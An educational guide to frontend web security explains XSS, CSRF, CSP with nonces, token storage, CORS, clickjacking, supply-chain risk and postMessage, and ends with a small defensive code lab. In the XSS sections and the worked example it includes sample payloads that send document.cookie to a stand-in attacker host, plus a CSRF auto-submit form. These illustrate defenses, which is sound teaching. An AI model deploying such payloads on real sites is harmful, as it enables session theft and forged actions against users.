Frontend Security

The browser runs code from many sources on one page. This guide explains the main attacks on that page and the layered defenses a senior frontend engineer is expected to design.

Frontend system design · Foundations · Security

After this guide you can explain XSS, CSRF, clickjacking, and supply chain attacks in concrete terms. You can design a Content Security Policy, choose where to keep auth tokens, and review third-party code and postMessage handlers for holes.

Correctness contract: untrusted data is never executed as code. A logged-in user's session is never usable by another site. The page never runs a script the team did not approve.

Assumptions: a single-page app on HTTPS, built with React, Vue, or Angular. It has a same-site API and some third-party scripts such as analytics and payments.

Frontend security is about one boundary. The browser trusts any script on your origin as fully as your own code. That script can read the DOM, call your API with the user's cookies, and send data anywhere. So the main goal is simple to state. Keep attacker-controlled text from becoming script, and keep other sites from acting as your user. Every defense on this page serves one of those two goals. No single defense is enough. A strong design stacks them so one failure does not lead to a breach.

Contents

  1. Concepts to understand first
  2. 1. Threat model for a web app
  3. 2. Cross-site scripting (XSS)
  4. 3. Safe rendering and Trusted Types
  5. 4. Sanitizing user HTML
  6. 5. Content Security Policy with nonces
  7. 6. CSRF and SameSite cookies
  8. 7. Where to store tokens
  9. 8. CORS
  10. 9. Clickjacking and frame-ancestors
  11. 10. Third-party scripts, SRI, and supply chain
  12. 11. postMessage safety
  13. 12. Failure modes
  14. 13. Trade-offs
  15. 14. Interview angle
  16. 15. Summary
  17. 16. Common mistakes
  18. Worked example: a malicious comment meets a layered defense
  19. Code lab: a strict postMessage receiver and a safe link checker
  20. Check yourself
  21. Key terms
  22. Further reading

Concepts to understand first

Origin and site

An origin is scheme plus host plus port, such as https://app.example.com:443. A site is broader. It is the scheme plus the registrable domain, such as https://example.com. The same-origin policy uses origins. SameSite cookies use sites.

Example. app.example.com and api.example.com are different origins but the same site.

Limit. Same site does not mean safe. A weak subdomain such as an old marketing page can attack its siblings.

Same-origin policy

The same-origin policy stops a page from reading responses or DOM from another origin. A page can still send requests to other origins. It just cannot read the answer unless that origin allows it with CORS.

Example. evil.com can submit a form to bank.com. It cannot read the bank's reply.

Limit. Sending is often enough for harm. That gap is why CSRF exists.

Sources and sinks

A source is where untrusted data enters, such as location.hash, an API field, or a postMessage. A sink is an API that can run that data as code, such as innerHTML, eval, or a.href with a javascript: URL.

Example. el.innerHTML = location.hash.slice(1) connects a source to a sink. That line is a DOM XSS bug.

Limit. Static review finds simple flows. Flows through stores and props are hard to trace by eye. Trusted Types enforces the rule at runtime.

Defense in depth

Defense in depth means several independent layers, each able to stop an attack alone. If escaping fails, CSP blocks the script. If CSP is bypassed, HttpOnly cookies keep the session token out of reach.

Example. A missed dangerouslySetInnerHTML injects a script tag. A nonce-based CSP refuses to run it.

Limit. Layers cost effort and can break features. Each layer must be tested, or it becomes a false sense of safety.

Ambient credentials

Cookies are ambient. The browser attaches them to matching requests on its own, no matter which page started the request. Bearer tokens in headers are not ambient. Your code must add them.

Example. An image tag on another site pointing to bank.com/logout sends the bank cookie unless SameSite stops it.

Limit. Non-ambient tokens resist CSRF but must live where JavaScript can read them. That makes them easier to steal with XSS.

1. Threat model for a web app

Start every security discussion with who attacks and what they want. In a frontend design, list these actors.

Then list the assets: the session, personal data on screen, the ability to act as the user (send money, post, change email), and your brand. For each asset, name the attack and the layer that stops it.

Interview

Interviewers reward a short threat model before solutions. "Our assets are the session cookie and the payment flow. The main threats are stored XSS, CSRF on settings, and a bad analytics script." That one minute frames the rest of the answer.

2. Cross-site scripting (XSS)

XSS means an attacker gets script to run on your origin, in a victim's browser. Once it runs, it can do anything the user can. It can read the page, call your API with the user's cookies, change the email on the account, or log keystrokes. XSS is the most serious frontend bug because it breaks every other defense that lives in the page.

Stored XSS

The payload is saved on the server and shown to other users. A user sets their display name to <img src=x onerror="fetch('//evil.io?c='+document.cookie)">. Every page that renders the name with raw HTML runs the payload for every viewer. One bad comment on a popular post can hit millions of users. Stored XSS can also spread like a worm, as the Samy worm on MySpace did in 2005.

Reflected XSS

The payload is in the request, often in a URL query, and the server echoes it into the HTML response. The attacker sends the victim a link such as /search?q=<script>...</script>. Server-rendered pages that put query values into templates without escaping are the classic case.

DOM-based XSS

The payload never reaches the server as HTML. Client code reads a source and writes it into a sink. Common sinks are:

SPAs have more DOM XSS risk because more logic runs in the client. The fragment after # is never sent to the server, so server-side filters and logs never see it.

Intuition

XSS is a mix-up between data and code. The browser parses HTML and decides what is a tag and what is text. If attacker text reaches the parser as markup, the browser treats it as your code.

3. Safe rendering and Trusted Types

Escape by default

Modern frameworks escape text by default. In React, <p>{comment.body}</p> creates a text node. The browser never parses it as HTML. This one default stops most XSS in modern apps. The bugs come from escape hatches and from contexts that escaping does not cover.

Contexts escaping does not cover

Trusted Types

Trusted Types is a browser feature that locks down DOM XSS sinks. When it is on, assigning a plain string to innerHTML throws a TypeError. The sink only accepts a TrustedHTML object. Those objects can only be created by a named policy that your team writes and reviews.

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-sanitizer
const policy = trustedTypes.createPolicy('app-sanitizer', {
  createHTML: (input) => DOMPurify.sanitize(input),
})
el.innerHTML = policy.createHTML(userHtml) // allowed
el.innerHTML = userHtml                    // throws TypeError

The big win is review cost. Without Trusted Types, every innerHTML in a million-line codebase is a possible bug. With it, the review surface shrinks to a handful of policies. Google reports that Trusted Types nearly removed DOM XSS from apps that adopted it.

Mistake

Writing a Trusted Types policy that returns its input unchanged, such as createHTML: (s) => s. That passes every check and stops nothing. A policy must sanitize, or it must only be called with constant strings.

4. Sanitizing user HTML

Some products must render user HTML: rich text comments, email bodies, wiki pages, Markdown output. Escaping would show tags as text, so you must sanitize instead. A sanitizer parses the HTML and keeps only allowed tags and attributes.

Rules for a safe sanitizer setup

Isolate when the HTML is very rich

Email bodies and user-built pages need almost all of HTML and CSS. Sanitizing that much is risky. Render them in a sandboxed iframe on a separate origin, such as usercontent.example-cdn.com. Use sandbox without allow-same-origin and without allow-scripts. Even if a payload gets through, it runs in a null origin with no access to your cookies or DOM.

Tip

The new Sanitizer API, element.setHTML(input), gives built-in sanitizing in the browser. Support is still growing. Wrap it behind your Trusted Types policy so you can switch from DOMPurify later.

5. Content Security Policy with nonces

Content Security Policy (CSP) is a response header that tells the browser which scripts, styles, frames, and connections a page may use. It is your second line against XSS. If an attacker injects a script tag, a strict CSP stops it from running.

Attacker input flows through the API into the client store. Plain text renders through React as a text node. Rich HTML goes through DOMPurify and a Trusted Types policy. The CSP engine blocks scripts without a nonce and sends violation reports.
Layered XSS defense. Escaping, sanitizing, Trusted Types, and CSP each stop the payload on their own.

Why allow lists of hosts fail

Older CSPs listed allowed script hosts, such as script-src 'self' https://cdn.example.com https://www.google-analytics.com. Research at Google found that about 95 percent of such policies could be bypassed. Allowed hosts often serve JSONP endpoints or old library versions that an attacker can abuse. A single 'unsafe-inline' turns the policy off.

A strict nonce-based policy

A strict CSP allows scripts by a per-response random value, not by host.

Content-Security-Policy:
  script-src 'nonce-R4nd0m16Bytes' 'strict-dynamic' https:;
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'self';
  report-to csp-endpoint

Nonces and caching

A nonce must be unique per response. That clashes with caching the HTML on a CDN. Options are:

Rolling out CSP

  1. Ship the policy as Content-Security-Policy-Report-Only. The browser reports violations but blocks nothing.
  2. Collect reports with the Reporting-Endpoints header and report-to. Expect noise from browser extensions. Filter by source file.
  3. Remove inline event handlers like onclick="...". Nonces do not cover them. Move them to addEventListener.
  4. Enforce on a small share of traffic, watch errors, then go to 100 percent.
Mistake

Adding 'unsafe-inline' to fix one broken widget. In browsers that support nonces, the nonce makes 'unsafe-inline' ignored, which is fine. But teams often drop the nonce too, and then the policy blocks nothing.

6. CSRF and SameSite cookies

Cross-site request forgery (CSRF) tricks a logged-in user's browser into sending a request the user did not intend. The attacker's page cannot read the response. It does not need to. The side effect is the goal.

<!-- on evil.example -->
<form action="https://bank.example/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="5000">
</form>
<script>document.forms[0].submit()</script>

Before SameSite, the browser attached the bank's session cookie to this POST. The bank saw a valid session and moved the money.

SameSite cookie attribute

Lax stops the form attack above. It does not stop attacks that use a GET with side effects, such as GET /delete?id=5. So never change state on GET.

Why SameSite is not enough alone

Extra CSRF defenses

Login through an identity provider with PKCE. The BFF sets an HttpOnly, Secure, SameSite=Lax session cookie. The SPA gets a CSRF token in memory and sends it on writes. A cross-site POST from evil.example arrives without the cookie.
Session cookie plus CSRF token. The cookie proves who you are. The token proves the request came from your own page.

7. Where to store tokens

This question comes up in almost every frontend security interview. There is no perfect answer, only trade-offs between XSS and CSRF exposure.

localStorage or sessionStorage

In-memory JavaScript variable

HttpOnly cookie

The common recommendation

For a first-party web app, use a Backend for Frontend (BFF). The BFF does the OAuth code exchange with PKCE and keeps the real access tokens on the server. The browser only holds an HttpOnly, Secure, SameSite=Lax session cookie. Add a CSRF token or a Fetch Metadata check. This removes tokens from JavaScript entirely.

Intuition

A token in localStorage is a house key under the doormat. Anyone who reaches the door can copy it and come back later. An HttpOnly cookie is a key held by a doorman. An intruder already inside can still ask the doorman to open rooms, but cannot walk away with the key.

Mistake

Saying "we store the JWT in localStorage, and our framework prevents XSS". Frameworks prevent most XSS, not all. Supply chain attacks bypass the framework entirely. Assume XSS will happen and limit what it can steal.

8. CORS

Cross-Origin Resource Sharing (CORS) lets a server relax the same-origin policy for chosen origins. It controls who may read responses. It is not a defense against requests being sent.

How it works

CORS mistakes that become security bugs

Tip

The simplest CORS design is to avoid it. Serve the API from the same origin through a path like /api behind the CDN. No preflights, no credential rules, and cookies just work.

9. Clickjacking and frame-ancestors

Clickjacking loads your page in an invisible iframe on top of a decoy. The user thinks they click "Play video" but they click "Delete account" or "Allow camera" in your framed page. Their cookies make the click real.

Frame-busting JavaScript such as if (top !== self) top.location = self.location is weak. The attacker can block it with a sandboxed iframe. Use the header.

10. Third-party scripts, SRI, and supply chain

Most production pages load 10 to 40 third-party scripts: analytics, ads, A/B testing, chat, error tracking, payments. Each runs with full access to your origin. Each vendor's security becomes your security.

Subresource Integrity (SRI)

SRI pins a script to an exact hash. If the file on the CDN changes, the browser refuses to run it.

<script src="https://cdn.example.net/lib@4.2.1/lib.min.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

Isolating third parties

Supply chain risk in your own bundle

A typical React app pulls in 1,000 or more npm packages through its dependencies. One compromised maintainer account can push a version that steals tokens or card numbers. Real cases include event-stream in 2018 and the ua-parser-js hijack in 2021.

Intuition

A third-party script tag is like giving a contractor a master key. SRI checks that the contractor is the one you hired. An iframe gives them the key to the garage only.

11. postMessage safety

window.postMessage lets windows from different origins talk: a page and its iframes, a popup and its opener. It is the safe way to cross origins, but only if both sides check who they talk to.

Sending

Receiving

Opener attacks

A page opened with window.open or target="_blank" used to get window.opener. It could then redirect your tab to a phishing copy. This is called reverse tabnabbing. Modern browsers imply noopener for target="_blank" links. Add rel="noopener" anyway, and set Cross-Origin-Opener-Policy: same-origin on sensitive pages to cut the link fully.

12. Failure modes

13. Trade-offs

14. Interview angle

Security appears in design interviews as a follow-up: "How would you keep this safe?" Have a short, ordered answer ready.

  1. Minute 0 to 2. State the threat model: assets, attackers, and the one or two worst cases.
  2. Minute 2 to 6. XSS: framework escaping, no raw HTML without DOMPurify, URL scheme checks, Trusted Types, and a strict nonce CSP.
  3. Minute 6 to 9. Session: HttpOnly, Secure, SameSite=Lax cookie through a BFF. CSRF token or Fetch Metadata checks for writes.
  4. Minute 9 to 11. Cross-origin: same-origin API to avoid CORS, frame-ancestors, exact-origin postMessage.
  5. Minute 11 to 14. Third parties: fewer tags, SRI on pinned files, iframe isolation for payments, lockfile and delayed upgrades.
  6. Minute 14 to 15. Monitoring: CSP reports, dependency alerts, and a security review for new escape hatches.
Interview

A staff-level signal is to talk about making the safe path the default. "We ban innerHTML by lint, enforce Trusted Types, and provide one reviewed RichText component. Engineers do not need to remember the rules."

15. Summary

16. Common mistakes

Worked example: a malicious comment meets a layered defense

An attacker posts a comment on a popular article. The text is Nice post <img src=x onerror="fetch('https://evil.io/?c='+document.cookie)">. Watch each layer.

  1. The API receives the comment. It checks the length and stores the raw text. It does not try to strip HTML, because escaping belongs at output time.
  2. A victim opens the article. The edge worker renders HTML and sets a fresh nonce in both the CSP header and the app's script tags.
  3. The SPA fetches comments as JSON. The comment body is a plain string in the store.
  4. The Comment component renders {comment.body}. React makes a text node. The victim sees the literal text <img src=x ...>. No script runs. Layer one stopped it.
  5. Now suppose a developer added rich formatting last week with dangerouslySetInnerHTML and forgot the sanitizer.
  6. Trusted Types is enforced. Assigning a plain string to innerHTML throws a TypeError. The comment fails to render and an error is logged. Layer two stopped it.
  7. Suppose Trusted Types was still in report-only mode. The img tag is inserted. The browser fires onerror, which is an inline event handler.
  8. The strict CSP has no 'unsafe-inline' and no 'unsafe-hashes'. The browser blocks the inline handler and sends a violation report. Layer three stopped it.
  9. Suppose the CSP was also misconfigured and the handler ran. It reads document.cookie. The session cookie is HttpOnly, so it is not in that string. The attacker gets only harmless cookies. Layer four limited the damage.
  10. The security team sees the CSP and Trusted Types reports, finds the missing sanitizer, and adds the comment component to the DOMPurify policy. The lint rule is updated to block the pattern.

Four layers had to fail for full session theft. Even then, the attacker could only act while the victim's tab was open. That is the point of defense in depth.

Code lab: a strict postMessage receiver and a safe link checker

This lab has two small, reusable guards. safeHref rejects dangerous URL schemes before you put a user value in a link. createReceiver accepts messages only from exact origins and only with a known shape. Save as guards.mjs and run node guards.mjs with Node 18 or newer. The test at the bottom fakes message events, so no browser is needed.

const SAFE_SCHEMES = new Set(['http:', 'https:', 'mailto:'])

export function safeHref(input, base = 'https://app.example') {
  try {
    const url = new URL(String(input).trim(), base)
    return SAFE_SCHEMES.has(url.protocol) ? url.href : null
  } catch {
    return null
  }
}

export function createReceiver({ allowedOrigins, handlers }) {
  const allowed = new Set(allowedOrigins)
  return function onMessage(event) {
    if (!allowed.has(event.origin)) return 'rejected: origin'
    const msg = event.data
    if (!msg || typeof msg !== 'object' || typeof msg.type !== 'string') {
      return 'rejected: shape'
    }
    const handler = handlers[msg.type]
    if (!Object.hasOwn(handlers, msg.type)) return 'rejected: type'
    return handler(msg.payload)
  }
}

// Demo: in a browser use window.addEventListener('message', onMessage)
const onMessage = createReceiver({
  allowedOrigins: ['https://widget.example'],
  handlers: {
    resize: (p) => (Number.isFinite(p?.height) ? `resize to ${p.height}px` : 'bad payload'),
  },
})

console.log(safeHref('https://docs.example/a'))   // https://docs.example/a
console.log(safeHref(' JavaScript:alert(1)'))     // null
console.log(safeHref('/settings'))                // https://app.example/settings
console.log(onMessage({ origin: 'https://widget.example', data: { type: 'resize', payload: { height: 320 } } }))
console.log(onMessage({ origin: 'https://widget.example.evil.io', data: { type: 'resize' } }))
console.log(onMessage({ origin: 'https://widget.example', data: { type: 'toString' } }))

The last call shows why the receiver uses Object.hasOwn. Without it, handlers['toString'] would find a method on Object.prototype. Note also that new URL lowercases the scheme and ignores leading spaces. A regex check on the raw string would miss JavaScript:.

Check yourself

  1. Why does an HttpOnly cookie not fully protect a user from XSS?
    Answer

    HttpOnly stops script from reading the cookie, so it cannot be stolen and reused later. But injected script can still send requests from the victim's page, and the browser attaches the cookie. It limits theft, not misuse while the tab is open.

  2. Why do host-based CSP allow lists often fail?
    Answer

    Allowed hosts often serve JSONP endpoints, old library versions, or user uploads that an attacker can load as script. A nonce-based policy with 'strict-dynamic' trusts specific script tags, not whole hosts.

  3. Does SameSite=Lax stop all CSRF?
    Answer

    No. It allows cookies on top-level cross-site GET navigations, so state-changing GET endpoints are still exposed. Same-site subdomains are not blocked either. Add a CSRF token or a Sec-Fetch-Site check for writes.

  4. A teammate says "we set CORS to our origin only, so CSRF is solved". What is wrong?
    Answer

    CORS controls reading responses, not sending requests. A cross-site form POST is a simple request that reaches the server without any CORS check. The side effect happens even though the attacker cannot read the reply.

  5. What does Trusted Types add on top of framework escaping?
    Answer

    It makes dangerous sinks like innerHTML reject plain strings at runtime. Only values from reviewed policies are accepted. This catches escape hatches and old code that escaping cannot see.

  6. Why can SRI not protect a typical analytics snippet?
    Answer

    Many analytics scripts update in place at the same URL. A pinned hash would break on every vendor update. SRI only fits versioned, immutable files. For evergreen tags, use CSP, page scoping, and isolation.

Key terms

XSS
Cross-site scripting. Attacker-controlled script runs in your origin in a victim's browser.
DOM XSS
XSS where client code moves untrusted data from a source into a dangerous sink.
Trusted Types
A browser feature that makes DOM sinks accept only typed values created by named policies.
CSP
Content Security Policy. A header that limits which scripts, frames, and connections a page may use.
Nonce
A random value, new on each response, that marks script tags as approved under CSP.
strict-dynamic
A CSP keyword that lets approved scripts load further scripts, and ignores host lists.
CSRF
Cross-site request forgery. Another site makes the user's browser send a request with their cookies.
SameSite
A cookie attribute that limits when cookies are sent on cross-site requests.
HttpOnly
A cookie attribute that hides the cookie from JavaScript.
CORS
Cross-Origin Resource Sharing. Headers that let a server allow chosen origins to read its responses.
frame-ancestors
A CSP directive that lists who may embed the page in a frame.
SRI
Subresource Integrity. A hash on a script or style tag that the file must match.
BFF
Backend for Frontend. A server layer per app that holds tokens and shapes data.

Further reading

Primary references